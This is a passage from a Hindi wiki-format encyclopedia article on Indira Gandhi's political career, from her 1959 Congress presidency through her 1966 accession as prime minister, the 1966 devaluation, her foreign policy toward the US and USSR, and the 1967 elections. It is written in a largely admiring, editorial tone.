इंतज़ाम इंदिरा गाँधी द्वारा किए जाते थे। साथ ही साथ उम्रदराज़ हो रहे पिता की आवश्यकताओं को भी इंदिरा देखती थीं।
 
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[[चित्र:Radhakrishnan-Indira-Gandhi-Kamaraj.jpg|thumb|right|250px|[[सर्वपल्ली राधाकृष्णन|डॉ. सर्वपल्ली राधाकृष्णन]], इंदिरा गाँधी एवं [[कुमारास्वामी कामराज]]]]
==राजनीति==
 
[[चित्र:Indira-Gandhi-4.jpg|thumb|250px|इंदिरा गाँधी की प्रतिमा, [[कोलकाता]]<br /> Statue Of Indira Gandhi, Kolkata]]
 
इंदिरा प्रियदर्शिनी को परिवार के माहौल में राजनीतिक विचारधारा विरासत में प्राप्त हुई थी। यही कारण है कि पति फ़ीरोज़ गाँधी की मृत्यु से पूर्व ही इंदिरा गाँधी प्रमुख राजनीतिज्ञ बन गई थीं। कांग्रेस पार्टी की कार्यकारिणी में इनका चयन 1955 में ही हो गया था। वह कांग्रेस संसदीय मंडल की भी सदस्या रहीं। पंडित नेहरू इनके साथ राजनीतिक परामर्श करते और उन परामर्शों पर अमल भी करते थे।
 
====पार्टी में इंदिरा गाँधी का क़द====
 
1957 के आम चुनाव के समय पंडित नेहरू ने जहाँ श्री लालबहादुर शास्त्री को कांग्रेसी उम्मीदवारों के चयन की ज़िम्मेदारी दी थी, वहीं इंदिरा गाँधी का साथ शास्त्रीजी को प्राप्त हुआ था। शास्त्रीजी ने इंदिरा गाँधी के परामर्श का ध्यान रखते हुए प्रत्याशी तय किए थे। लोकसभा और विधानसभा के लिए जो उम्मीदवार इंदिरा गाँधी ने चुने थे, उनमें से लगभग सभी विजयी हुए और अच्छे राजनीतिज्ञ भी साबित हुए। इस कारण पार्टी में इंदिरा गाँधी का क़द काफ़ी बढ़ गया था। लेकिन इसकी वजह इंदिरा गाँधी के पिता पंडित नेहरू का प्रधानमंत्री होना ही नहीं था इंदिरा में व्यक्तिगत योग्यताएं भी थीं।
 
====कांग्रेस की अध्यक्ष====
 
इंदिरा गाँधी को राजनीतिक रूप से आगे बढ़ाने के आरोप उस समय पंडित नेहरू पर लगे। 1959 में जब इंदिरा को कांग्रेस का अध्यक्ष बनाया गया तो कई आलोचकों ने दबी जुबान से पंडित नेहरू को पार्टी में परिवारवाद फैलाने का दोषी ठहराया था। लेकिन वे आलोचना इतने मुखर नहीं थे कि उनकी बातों पर तवज्जो दी जाती।
 
 
 
वस्तुतः इंदिरा गाँधी ने समाज, पार्टी और देश के लिए महत्त्वपूर्ण कार्य किए थे। उन्हें अंतर्राष्ट्रीय स्तर पर पहचान प्राप्त थी। विदेशी राजनयिक भी उनकी प्रशंसा करते थे। इस कारण आलोचना दूध में उठे झाग की तरह बैठ गई। कांग्रेस अध्यक्षा के रूप में इंदिरा गाँधी ने अपने कौशल से कई समस्याओं का निदान किया। उन्होंने नारी शाक्ति को महत्त्व देते हुए उन्हें कांग्रेस पार्टी में महत्त्वपूर्ण पद प्रदान किए। युवा शक्ति को लेकर भी उन्होंने अभूतपूर्व निर्णय लिए। इंदिरा गाँधी 42 वर्ष की उम्र में कांग्रेस अध्यक्षा बनी थीं।
 
====पार्टी के सम्मुख समस्याएँ====
 
श्रीमती इंदिरा गाँधी जब कांग्रेस की अध्यक्षा बनीं तो उस समय पार्टी के सम्मुख दो बड़ी समस्याएँ थीं,
 
;पहली समस्या
 
एक समस्या थी मुंबई की जहाँ मराठी और गुजराती काफ़ी संख्या में थे। मराठी और गुजराती भाषा के कारण ही दोनों समुदायों में परस्पर सौहार्द्र भाव नहीं था। इसका कारण यह था कि गुजराती लोग मुंबई को अपना मानते थे और मराठी लोग अपना जबकि उस समय की मुंबई देश की आर्थिक राजधानी कही जाती थी। यह मुद्दा अत्यंत संवेदनशील था। इसी कारण उसे सन् 1959 तक नहीं सुलझाया जा सका।
 
 
 
सच तो यह है कि नेतागण भी इस मुद्दे को ठंडे बस्ते में डाले रखना चाहते थे। भाषाई आधार पर पहले भी आंदोलन होते रहे जो हिंसक भी हो उठते थे। फिर मोरारजी देसाई गुजराती थे और कांग्रेस पार्टी में उनका क़द बड़ा था। लेकिन इंदिरा गाँधी ने इस समस्या को जस का तस बनाए रखने के बजाय इसका निदान करना ही उचित समझा। उस समय मुंबई एक राज्य था और गुजरात तथा महाराष्ट्र दोनों इसमें आते थे। ऐसे में इंदिरा गाँधी ने राज्य सरकार पर दबाव बनाकर मुंबई राज्य का विभाजन कर दिया।
 
 
 
मुंबई राज्य के विभाजन के बाद दो राज्य अस्तित्व में आए। एक राज्य [[गुजरात]] बना जिसकी राजधानी [[अहमदाबाद]] हुई और दूसरा राज्य [[महाराष्ट्र]] बना जिसकी राजधानी [[मुंबई]] शहर को बनाया गया। विभाजन को लेकर जो नकारात्मक पूर्वाग्रह थे। वे सभी व्यर्थ साबित हुए। विभाजन के बाद गुजरात तथा महाराष्ट्र ने काफ़ी उन्नति भी की सबसे अच्छी बात तो यह थी कि विभाजन के बाद दोनों समुदायों के प्रेम में बहुत इज़ाफ़ा हुआ। दोनों राज्यों ने देश की आर्थिक उन्नति में भी उल्लेखनीय योगदान देना आरंभ कर दिया।
 
;दूसरी समस्या
 
इसी प्रकार दूसरी समस्या थी [[केरल]] की जहाँ साम्यवादी सरकार शासन कर रही थी। पार्टी अध्यक्षा इंदिरा गाँधी ने केरल की सरकार को बर्खास्त कर दिया। इंदिरा गाँधी पार्टी अध्यक्षा के रूप में काफ़ी सफल रहीं। उन्हें पार्टी के अध्यक्ष का कार्यभार दो वर्षों के लिए पुन: सौंपा गया। लेकिन इंदिरा गाँधी ने एक वर्ष बाद ही कांग्रेस अध्यक्षा का पद छोड़ दिया। उस समय विपक्षी राजनीतिज्ञ अक्सर कहा करते थे, '''पिता बनाए गए प्रधानमंत्री और बेटी को बना दिया पार्टी अध्यक्ष।''' इंदिरा जी को इस प्रकार की टीका-टिप्पणी अच्छी नहीं लगती थी। इंदिरा गाँधी का जो भी राजनीतिक जीवन पंडित नेहरु के समय में रहा, उसे एक प्रकार से पंडित नेहरु की प्रधानमंत्रित्व शक्ति का परिणाम माना गया। नेहरुजी की मृत्यु के पश्चात यह माना जा रहा था कि पार्टी के धुरंधर नेता इंदिरा गाँधी को हाशिये पर ढकेल देगें।
 
====पंडित नेहरु की मृत्यु====
 
{{मुख्य|जवाहरलाल नेहरू}}
 
पंडित जवाहरलाल नेहरू (14 नवम्बर, 1889 - 27 मई, 1964) भारतीय स्वतन्त्रता संग्राम के महान सेनानी एवं स्वतन्त्र भारत के प्रथम प्रधानमंत्री (1947-1964) थे। 27 मई 1964 को जब पंडित नेहरु की मृत्यु हुई तब पहले की भाँति कांग्रेस पार्टी पर उनकी पकड़ मज़बूत नहीं रह गई थी। पार्टी में उनकी साख भी कमज़ोर हुई थी। [[चीन]] युद्ध में भारत की पराजय के कारण पंडित नेहरु की लोकप्रियता कम हुई थी और लकवे के कारण भी उन्हें शारीरिक रूप से अक्षम मान लिया गया था। लेकिन देशहित में किए गए उनके अभूतपूर्व कार्यों की आभा ने पंडित नेहरु को प्रधानमंत्री बनाए रखा। जिस प्रकार कृष्ण मेनन को चीन से पराजय के बाद रक्षा मंत्री के पद से हटने के लिए विवश किया गया था, वैसा ही पंडित नेहरु के साथ भी किया जा सकता था। लेकिन यह पंडित नेहरु का आभामंडल था कि पार्टी ने उस पर निष्ठा भाव बनाए रखा। परंतु पार्टी पर उनकी पकड़ पहले जैसी मज़बूत नहीं रह गई थी। इंदिरा गाँधी ने भी इस परिवर्तन को लक्ष्य कर लिया था। पंडित नेहरु के बाद लालबहादुर शास्त्री प्रधानमंत्री बनाए गए। उन्होंने कांग्रेस संगठन में इंदिरा जी के साथ मिलकर कार्य किया था। शास्त्रीजी ने उन्हें सूचना एवं प्रसारण मंत्रालय सौंपा। अपने इस नए दायित्व का निर्वहन भी इंदिराजी ने कुशलता के साथ किया। यह ज़माना आकाशवाणी का था और दूरदर्शन उस समय भारत में नहीं आया था। इंदिरा गाँधी ने आकाशवाणी के कार्यक्रमों में फेरबदल करते हुए उसे मनोरंजन बनाया तथा उसमें गुणात्मक अभिवृद्धि की। 1965 में जब भारत- पाकिस्तान युद्ध हुआ तो आकाशवाणी का नेटवर्क इतना मुखर था कि समस्त भारत उसकी आवाज़ के कारण एकजुट हो गया। इस युद्ध के दौरान आकाशवाणी का ऐसा उपयोग हुआ कि लोग राष्ट्रीयता की भावना से ओत-प्रोत हो उठे। भारत की जनता ने यह प्रदर्शित किया कि संकट के समय वे सब एकजुट हैं और राष्ट्र के लिए तन-मन धन अर्पण करने को तैयार हैं। राष्ट्रभक्ति का ऐसा जज़्बा स्वतंत्रता संग्राम के दौरान भी देखने को नहीं प्राप्त हुआ था। इंदिरा गाँधी ने युद्ध के समय सीमाओं पर जवानों के बीच रहते हुए उनके मनोबल को भी ऊंचा उठाया जबकि इसमें उनकी ज़िंदगी को भारी ख़तरा था। कश्मीर के युद्धग्रस्त क्षेत्रों में जाकर जिस प्रकार उन्होंने भारतीय सैंनिकों का मनोबल ऊंचा किया, उससे यह ज़ाहिर हो गया कि उनमें नेतृत्व के वही गुण हैं जो पंडित नेहरु में थे।
 
 
 
==प्रधानमंत्री पद पर==
 
[[चित्र:Radhakrishnan-Indira-Gandhi-Kamaraj.jpg|thumb|250px|[[सर्वपल्ली राधाकृष्णन|डॉ. सर्वपल्ली राधाकृष्णन]], इंदिरा गाँधी एवं [[कुमारास्वामी कामराज]]]]
 
इंदिरा गाँधी लगातार तीन बार (1966-1977) और फिर चौथी बार (1980-84) भारत की प्रधानमंत्री बनी।
 
*भारत के द्वितीय प्रधानमंत्री श्री [[लालबहादुर शास्त्री]] की मृत्यु के बाद श्रीमती इंदिरा गाँधी भारत की तृतीय और प्रथम महिला प्रधानमंत्री निर्वाचित हुई।
 
*1967 के चुनाव में वह बहुत ही कम बहुमत से जीत सकीं।
 
*1971 में पुनः भारी बहुमत से वे प्रधामंत्री बनी और [[1977]] तक रहीं।
 
*1977 के बाद ये 1980 में एक बार फिर प्रधानमंत्री बनीं और [[1984]] तक प्रधानमंत्री के पद पर रहीं।
 
 
 
ताशकंद में 11 जनवरी 1966 को प्रधानमंत्री लालबहादुर शास्त्री की असामयिक मृत्यु के बाद [[गुलज़ारी लाल नंदा]] को कार्यवाहक प्रधानमंत्री बनाया गया। उन्हें तब तक इस अंतरिम पद पर रहना था जब तक कि नया प्रधानमंत्री नहीं चुन लिया जाता। तब कांग्रेस के अध्यक्ष कामराज थे। कामराज ने प्रधानमंत्री के रूप में इंदिरा गाँधी के नाम का प्रस्ताव रखा। लेकिन मोरारजी देसाई ने भी प्रधानमंत्री पद के लिए स्वयं का नाम प्रस्तावित कर दिया। इस बार उन्हें समझाया नहीं जा सका। तब यह निश्चय किया गया कि कांग्रेस संसदीय पार्टी द्वारा मतदान के माध्यम से इस गतिरोध को सुलझाया जाए। लिहाज़ा मतदान हुआ इंदिरा गाँधी भारी मतों से विजयी हुई। मोरारजी देसाई को पराजय का मुँह देखना पड़ा। [[24 जनवरी]], [[1966]] को इंदिरा गाँधी ने प्रधानमंत्री पद की शपथ ग्रहण की। [[जनवरी]], [[1966]] में शास्त्रीजी की अचानक मृत्यु के बाद श्रीमती गाँधी पार्टी की दक्षिण और वाम शाखाओं के बीच सुलह के तौर पर कांग्रेस पार्टी की नेता (और इस तरह प्रधानमंत्री भी) बन गईं, लेकिन उनके नेतृत्व को भूतपूर्व वित्त मंत्री मोरारजी देसाई के नेतृत्व में पार्टी की दक्षिण शाखा से लगातार चुनौती मिलती रही। इस प्रकार श्री लालबहादुर शास्त्री के निधन के 13 दिन बाद तीसरे प्रधानमंत्री के रूप में इंदिरा गाँधी ने पदभार संभालना आरंभ कर दिया। राष्ट्रपति [[डॉक्टर राधाकृष्णन]] ने इंदिरा गाँधी को पद और गोपनीय की शपथ ग्रहण कराई। यह कहने की आवश्यकता नहीं है कि प्रधानमंत्री की प्रभारी भूमिका से इंदिरा जी भली-भाँति अनुभवी थीं। उनके पिता का लंबा कार्यक्रम उनके लिए अनुभव भरा साबित हुआ फिर भी 1967 के चुनाव में वह बहुत ही कम बहुमत से जीत सकीं और उन्हें देसाई को उप-प्रधानमंत्री स्वीकार करना पड़ा। लेकिन 1971 में उन्होंने अन्य पार्टियों के गठबंधन को भारी बहुमत से पराजित किया।
 
 
 
====अर्थव्यवस्था में गिरावट====
 
उस समय देश में विभिन्न प्रकार की चुनौतियाँ और संकट थे। पिछले तीन वर्षों में भारत पर दो युद्ध थोपे गए थे। उनके कारण देश की आर्थिक स्थिति काफ़ी कमज़ोर हो चुकी थी। [[भारत की अर्थव्यवस्था|भारतीय अर्थव्यवस्था]] में गिरावट का रुख़ था। औद्योगिक उत्पादन का ग्राफ भी गिरावट को प्रदर्शित कर रहा था। देश में खाद्यान्न संकट था और कृषि की स्थिति दयनीय थी। इंदिरा गाँधी ने खाद्यान्न संकट तथा सूखे की मार से निबटने के लिए जनता का प्रत्यक्ष सहयोग प्राप्त किया। उनके आह्रान पर देश की जनता ने दिल खोलकर राष्ट्रहित में अपना योगदान दिया। इस प्रकार सूखा राहत कोष के माध्यम से काफ़ी धन एकत्र हुआ और उससे खाद्यान्न संकट का मुक़ाबला किया गया। इंदिरा गाँधी ने खाद्यान्न वितरण प्रणाली की कमियों को भी दूर किया इससे गंभीर संकट का समय टल गया और भुखमरी से होने वाली मौतें कम हो गई। [[जून]], [[1966]] में इंदिरा गाँधी द्वारा डॉलर की तुलना में रुपये का अवमूल्यन करना ग़लती साबित हुआ। उन पर [[अमेरिका]] अंतर्राष्ट्रीय मुद्रा कोष और विश्व बैंक का दबाव था कि भारतीय अर्थव्यवस्था को सुधारने के लिए रुपये के मूल्य में कमी की जाए। लिहाज़ा अवमूल्यन से निर्यात में वृद्धि का अनुमान था। इसमें विदेशी मुद्रा कमाने का लक्ष्य प्रमुख था लेकिन यह अनुमान ग़लत साबित हुआ। दरसल भारत का आयात ज़्यादा था और निर्यात कम। ऐसे में आयात महँगा हो गया और निर्यात सस्ता हो गया।
 
 
 
इस ग़लत निर्णय का ख़ामियाजा देश को भुगतना पड़ा और भारतीय अर्थव्यवस्था रसातल में पहुँच गई। विदेशों में भी मुद्रा के अवमूल्यन से भारत की साख को काफ़ी बट्टा लगा। आर्थिक विश्लेषकों पर खेला गया यह दांव नुक़सान का सौदा साबित हुआ। अवमूल्यन के कारण जब आर्थिक स्थिति बिगड़ गई तो देश भर में इंदिरा गाँधी के विरुद्ध प्रदर्शन होने लगे। कांग्रेस पार्टी में भी इंदिरा गाँधी की आलोचना आरंभ हो गई। विपक्षी दलों ने कांग्रेस के विरुद्ध प्रदर्शन शुरू कर दिया। इंदिरा गाँधी ने देश की खाद्यान्न स्थिति को संभालने के लिए शास्त्रीजी द्वारा आरंभ की गई 'हरित क्रांति योजना' का सहारा लिया। लेकिन भारत को तत्काल सहायता की आवश्यकता थी। वह सहायता अमेरिका प्रदान कर सकता था। अमेरिका उन दिनों उत्तरी वियतनाम पर सैनिक कार्रवाई कर रहा था।
 
 
 
==विदेश नीति==
 
====अमेरिका की चालाकी====
 
अप्रैल 1966 में इंदिरा गाँधी ने अमेरिका की सरकारी यात्रा की। इसका उद्देश्य यह था कि अमेरिका पी.एल. 480 के अंतर्गत भारत को गेहूँ एवं मौद्रिक सहायता प्रदान करे। अमेरिका ने 35 लाख टन गेहूँ और लगभग हज़ार मिलियन डॉलर की आर्थिक सहायता करने की पेशकश रखी। लेकिन अमेरिकी राष्ट्रपति जॉनसन चाहते थे कि इसके बदले में भारत अमेरिका के पक्ष में बयान जारी करके उत्तरी वियतनाम युद्ध को उचित ठहराए। उस समय उत्तरी वियतनाम पर  हुए अमेरिकी आक्रमण के कारण सारी दुनिया में अमेरिका की तीव्र भर्त्सना की जा रही थी। लेकिन प्रधानमंत्री इंदिरा गाँधी ने इस प्रकार का कोई वक्तव्य भारत सरकार की ओर से नहीं दिया। अमेरिकी राष्ट्रपति को पूरी उम्मीद थी कि कठिन समय से जूझते भारत द्वारा उसकी युद्ध नीति की वकालत अवश्य की जाएगी। लेकिन जब अमेरिका की यह उम्मीद पूरी नहीं हुई तो अमेरिका ने भी भारत की सहायता के लिए दिए गए अपने पूर्व वचन को ठंडे बस्ते में डाल दिया। जब इंदिरा गाँधी को यह विश्वास हो गया कि अमेरिका सशर्त सहायता करना चाहता है तो उन्होंने अमेरिकी युद्ध नीति की काफ़ी भर्त्सना की और '''उत्तरी वियतनाम पर अमेरिकी हमले को संयुक्त राष्ट्र संघ की नीतियों के विरुद्ध बताया। अमेरिका को भारत से ऐसी तीखी आलोचना की उम्मीद नहीं थी। लिहाज़ा अमेरिका से मदद का रास्ता बंद हो गया। इंदिरा गाँधी ने भी समझदारी दिखाते हुए सोवियत संघ की ओर मैत्री का हाथ बढ़ा दिया।''' यही उस समय की विदेशी नीति और कूटनीति की माँग थी।
 
 
 
====सोवियत संघ से मैत्री====
 
समस्त विश्व दो महाशक्तियों के समर्थन में बँटा हुआ था। एक ख़ैमा अमेरिका का था और दूसरा सोवियत संघ का। इस प्रकार पूरी दुनिया दो गुटों में बँट गई थी लेकिन भारत की विदेशी नीति का आधार गुटनिरपेक्षता था। अत: इंदिरा गाँधी ने इस नीति पर क़ायम रहते हुए सोवियत संघ से मित्रता की उम्मीद रखी। [[1966]] के [[जुलाई]] माह में इंदिरा गाँधी ने सोवियत संघ की यात्रा की। तब उन्होंने सोवियत संघ के साथ एक संयुक्त वक्तव्य पर हस्ताक्षर किया जिसमें अमेरिका की निंदा करते हुए उत्तरी वियतनाम पर किए गए हमले को साम्राज्यवादी नीति का हिस्सा बताया गया था। इस वक्तव्य में यह भी माँग की गई थी कि अमेरिका अविलंब तथा बिना किसी शर्त के उत्तरी वियतनाम में युद्ध बंद करे। युद्ध विराम की वकालत करते हुए भारत ने स्पष्ट कर दिया कि वह अमेरिका के खेमे में रहने को क़तई इच्छुक नहीं है। इस वक्तव्य के बाद भारत और सोवियत संघ की मैत्री को नया आयाम प्राप्त हुआ। '''एक विशाल जनसंख्या वाले बड़े देश भारत को अपना मित्र बनाकर सोवियत रुस भी काफ़ी प्रसन्न था।'''
 
 
 
इसके अतिरिक्त इंदिरा गाँधी ने वक़्त की ज़रुरत को देखते हुए यह समझ लिया कि गुटनिरपेक्ष देशों के संगठन को अधिक मज़बूत बनाने की आवश्यकता है ताकि किसी भी संकट को आपसी सहयोग और राजनीतिक इच्छा शक्ति से उसे दूर किया जा सके। इस प्रकार किसी भी गुटनिरपेक्ष देश को शक्ति संपन्न देश का मुँह ताकने की आवश्यकता न रहें। इस दौरान [[मिस्र]] और यूगोस्लाविया के साथ भी भारत के मैत्री संबंध विकसित हुए। '''दोनों देशों के राष्ट्रध्यक्ष क्रमश: अब्दुल नासिर और जोसेफ़ टीटो ने भी दिल्ली में आयोजित गुटनिरपेक्ष देशों के सम्मेलन में अपनी उपस्थिति दर्ज करवाई।''' इस प्रकार एक स्वतंत्र विदेश नीति द्वारा भारत ने अपनी विशिष्ट छवि बनाई।
 
 
 
==देश की आंतरिक चुनौतियाँ==
 
[[चित्र:Indira-Gandhi-Memorial.jpg|thumb|250px|इंदिरा गाँधी की प्रतिमा, [[शिमला]]<br />Statue Of Indira Gandhi, Shimla]]
 
अंतर्राष्ट्रीय स्तर पर इंदिरा गाँधी की प्रसिद्धी बढ़ गयी थी लेकिन देश में उनकी स्थिति ख़राब हो रही थी। कांग्रेस के ही बड़े नेता नहीं चाहते थे कि इंदिरा गाँधी प्रधानमंत्री रहें। इंदिरा गाँधी उन समस्याओं का निराकरण करना चाहती थीं। जो उन्हें विरासत से प्राप्त हुई थी। लेकिन उनके साथ किसी भी प्रकार का सहयोग नहीं किया गया देश की कृषि मानसून पर आधारित थी और दो वर्ष अनावृष्टि के रूप में गुज़रे थे। [[कच्चा माल]] उपलब्ध न होने के कारण औद्योगिक माल का उत्पादन भी कम हो गया था।
 
====पार्टी में गुटबाज़ी====
 
देश में विभिन्न स्तरों पर असंतोष व्याप्त था। इंदिरा गाँधी के प्रधानमंत्री बनने से पहले ही लोगों में कई प्रकार का आक्रोश था। देश में बेरोज़गारी अशिक्षा और महंगाई की समस्या थी। आए दिन धरना एवं प्रदर्शन आदि हो रहे थे। पंडित नेहरु ने जिस समाजवादी समाज का स्वप्न देखा था, वह भी काफ़ी दूर होता नज़र आ रहा था क्योंकि देश में पूँजीवादी व्यवस्था मौजूद थी। यही कारण है कि भारत में अमीरी और ग़रीबी के मध्य की खाई गहरी होती जा रही थी। देश में धर्म, जाति, प्रांत, भाषा, और आर्थिक विषमता के कारण कई वर्ग बन गए थे जो तीखे तेवर प्रदर्शित कर रहे थे तथा विपक्ष उनके असंतोष को बढ़ावा देने का कार्य कर रहा था। ऐसी स्थिति में देश में होने वाले आंदोलनों में हिंसा का प्रयोग बढ़ने लगा। असामाजिक तत्वों द्वारा सार्वजनिक संपत्तियों को नुक़सान पहुँचना आए दिन की घटना हो गई थी। यहाँ तक कि पुलिस पर भी हमला करने में आंदोलनकारी पीछे नहीं रहते थे। सरकारी कर्मचारी भी वेतन बढ़ाए जाने की माँग लेकर देश को पंगु बनाने का कार्य कर रहे थे। उनके द्वारा राजकीय कार्यों का बहिष्कार किया जा रहा था।
 
 
 
इधर स्वयं कांग्रेस की स्थिति भी काफ़ी ख़राब थी। पार्टी में गुटबाज़ी और ख़ैमाबंदी होने लगी थी। इंदिरा गाँधी को प्रधानमंत्री बनाते समय कई लोगों ने सोचा था कि वे उन्हें अपनी कठपुतली बनाकर रखेंगे, लेकिन जब ऐसा नहीं हुआ तो वे लोग भी खेमे में शामिल हो गए जो असंतुष्ट थे। उधर संसद में भी मर्यादाओं का हनन हो रहा था। चूँकि [[1967]] में चुनाव होने थे, अत: विपक्ष ने आंदोलन को जन्म देना आरंभ कर दिया। दूसरी तरफ मोरारजी देसाई प्रधानमंत्री न बनने से नाराज़ थे। तो गुलज़ारी लाल नंदा को यह दुख था कि पार्टी ने उनकी वफ़ादारी की कोई क़ीमत नहीं समझी। यद्यपि गुलज़ारी लाल नंदा उस समय देश के गृह मंत्री थे।
 
====विपक्ष की भूमिका====
 
इंदिरा गाँधी ने गृह मंत्री गुलज़ारी लाल नंदा से इस्तीफा देने को कहा। इसी के साथ गुलज़ारी लाल नंदा का राजनीतिक भविष्य भी समाप्तप्राय हो गया। समाजवादी नेता [[राम मनोहर लोहिया]] ने इंदिरा गाँधी को 'गूंगी गुड़िया' के नाम से संबोधित किया। उस समय राममनोहर लोहिया बेहद सम्मानित नेता थे और पंडित नेहरु के साथ उनके मत भेद थे। वह अपनी नीतियों की सदा आलोचना भी करते थे लेकिन लोहिया इस संबंध में अपनी मर्यादा में नहीं रह पाए। 1967 के चुनाव के दौरान कांग्रेस पार्टी में अंतर्कलह मची हुई थी। उस समय जनता के मध्य इंदिरा गाँधी जैसी लोकप्रियता वाली शख़्सियत कांग्रेस पार्टी में कोई दूसरी नहीं थी। उनका करिश्माई व्यक्तित्व ही पार्टी को जीत दिला सकता था।  लेकिन उस समय के कांग्रेसियों ने यह सोच लिया था कि कांग्रेस आज़ादी के बाद दो आम चुनाव जीत चुकी है और लोग कांग्रेस पार्टी को ही वोट देते हैं। परंतु यह कांग्रेस के असंतुष्टों की भारी भूल थी।पंडित नेहरु ने देश के लिए जो कुछ किया था, जनता उसकी गवाह थी।
 
 
 
भारतीय जनता यह भी जानती थी कि चीन से युद्ध हारने का कारण नेहरुजी नहीं थे। बल्कि देश की कमज़ोर स्थिति ही थी। नेहरुजी देश को मज़बूत करना चाहते थे, न कि सेना को मज़बूत बनाना। इस कारण शांति के प्रतीक नेहरुजी को भारतीय जनता ने दोष नहीं दिया। लेकिन करोड़ों की आबादी वाले देश में सभी उनके साथ नहीं हो सकते थे क्योंकि यह मानवीय स्वभाव है। यद्यपि विपक्ष को लगता था कि जनता नेहरुजी से नाराज़ थी।
 
====भुवनेश्वर में घायल====
 
ऐसे में कांग्रेस पार्टी में असंतुष्ट हावी हो गए और इंदिरा गाँधी को उस समय हाशिये पर डाल दिया गया। जब आम चुनाव के लिए टिकट वितरण का कार्य किया जा रहा था तब कामराज ने कमान अपने हाथ में संभाल ली। भुवनेश्वर की चुनावी सभा में इंदिरा गाँधी पर कुछ असामाजिक तत्वों ने अचानक पत्थर बरसाने आरंभ कर दिए। इस कारण उनकी नाक की हड्डी टूट गई और होंठ फट गया। इंदिरा गाँधी रक्तरंजित हो उठीं। भुवनेश्वर में यह बर्ताव किसी भी नज़रिये से उचित नहीं था। इंदिरा गाँधी को अस्पताल में उपचार कराना पड़ा। तब पीत पत्रकारिता ने इस घटना को मनोविनोद का केंद्र बना दिया। लोकतंत्र के नाम पर  जिस घटना की भर्त्सना होनी चाहिए थी, उसे मीडिया ने मनोरंजन की तरह पेश किया। लोग कहने लगे- इंदिरा गाँधी की नाक टूट गई अथवा चुनाव के नतीजों से पूर्व ही उनकी नाक कट गई।
 
====चुनावों के नतीजे====
 
बहरहाल चुनाव संपन्न हुए और नतीजे भी आ गए। केंद्र में कांग्रेस बेशक सत्ता में आ गई लेकिन विभिन्न  कई राज्यों में उसकी स्थिति काफ़ी ख़राब हो गई थी। कई राज्यों में क्षेत्रीय पार्टियों ने बाज़ी मारी और कुछ राज्यों में गठबंधन सरकारें बनीं। राज्यों की यह हालत केंद्र में कांग्रेस पार्टी की कमज़ोरी के कारण हुई थी। जिन राज्यों में कांग्रेस पार्टी की सरकारें थीं, वहां क्षेत्रीय कांग्रेसजनों ने सत्ता का सुख भोगा और अनेक लोगों ने काफ़ी धन-संपदा बनाई। इस कारण कांग्रेस के विरुद्ध ऐसा माहौल बना।
 
विपक्ष ने भी मुद्दे की राजनीति करने के बजाय कांग्रेस और इंदिरा गाँधी को ही अपना निशाना बनाया। उस समय विपक्ष काफ़ी हद तक संगठित भी हो हया था। लेकिन जनता के सामने वह सकारात्मक बातें न रखने की भारी भूल कर बैठा। विपक्ष को लगा था कि कांग्रेस पर कीचड़ उछालने से उसे विजय का मार्ग मिल जाएगा अथवा उन्हें नीचा दिखाकर वह ऊंचा हो जाएगा। यही कारण है कि जनता ने विपक्ष पर विश्वास नहीं किया। बेशक कांग्रेस विजयी रही लेकिन उसे कई सीटों की हार का सामना करना पड़ा।
 
 
 
राज्यों में कांग्रेस की हार का कारण अविवेकपूर्ण ढंग से किया गया टिकटों का वितरण भी था। अयोग्य उम्मीदवारों को टिकट प्रदान किए गए। इससे योग्य उम्मीदवारों में असंतोष फैल गया। वे बाग़ी उम्मीदवारों के रूप में कांग्रेस प्रत्याशियों के विरुद्ध खड़े हो गए। इस कारण कांग्रेस की अंतर्कलह ने राज्यों में कांग्रेस का नुक़सान कर दिया। क्षेत्रीय पार्टियों में भी गठबंधन हुए थे। पार्टियों ने गठबंधन करते हुए यह ध्यान रखा था कि कांग्रेस को हराना है। लोहिया की [[समाजवादी पार्टी]] ने [[भारतीय जनसंघ|जनसंघ]] से हाथ मिला लिया। साम्यवादियों ने दक्षिण पंथियों से हाथ मिलाने नें कोई हिचकिचाहट प्रदर्शित नहीं की। मुस्लिम लीग के साथ कई पार्टियों ने  गठबंधन सरकार बनाई। राजस्थान के भूतपूर्व राजे-महाराजाओं ने मिलकर एक स्वतंत्र पार्टी का गठन किया। उन्होंने इंदिरा गाँधी की चुनाव सभाओं में हुड़दंह मचाया। ये लोग विलासितापूर्ण प्रवृति के लिए जाने जाते थे और शोषण को अपना जन्मसिद्ध अधिकार समझते थे। वे लोग लोकतंत्र के माध्यम से सत्ता पर क़ाबिज होने का प्रयत्न करने लगे। '''इन राजे रजवाड़ों में से अनेक ने देश की आज़ादी के महासंग्राम के समय अंग्रेजों का साथ दिया था।'''
 
 
 
केंद्र तथा राज्य दोनों स्थानों पर कांग्रेस में गिरावट देखने को प्राप्त हुई। लेकिन 1967 के आम चुनावों के नतीजे इंदिरा गाँधी के ही पक्ष में गए। सिंडीकेट के मज़बूत स्तंभ कहे जाने वाले नेताओं को जनता ने धूल में मिला दिया। कामराज को पराजय का मुख देखना पड़ा। तब इन्हें किंग मेकर की संज्ञा प्रदान की जाती थी। एस.के.पाटिल सहित सिंडीकेट के अनेक धुरंधरों को हार का सामना करना पड़ा। इंदिरा गाँधी विजयी रहीं। इस प्रकार कांग्रेस में उनका वर्चस्व स्वत: क़ायम हो गया क्योंकि उनके प्रतिद्वंद्वी चुनाव में हार गए थे। सिंडीकेट के मज़बूत सिपाहसालारों में से मोरारजी देसाई ही चुनाव जीत पाने में सफल हुए। लेकिन उनके साथियों का सफाया हो जाने के कारण वह कमज़ोर स्थिति में थे। फिर भी इंदिरा गाँधी ने उन्हें पुराने कांग्रेसी होने के कारण सम्मान के साथ उप प्रधानमंत्री और वित्त मंत्री का पद प्रदान किया। इंदिरा गाँधी को उम्मीद थी कि वह संतुष्ट होकर कांग्रेस की बेहतरी के लिए कार्य करेंगे  लेकिन यह इंदिरा गाँधी की भूल थी। मोरारजी देसाई को निष्ठावान बनाए रखने में इंदिरा गाँधी आगे चलकर विफल रहीं।
 
 
 
==कांग्रेस का विभाजन==
 
[[चित्र:Indira-Gandhi-Museum-Delhi.jpg|thumb|250px|इंदिरा गाँधी संग्रहालय, [[दिल्ली]]<br />Indira Gandhi Museum, Delhi]]
 
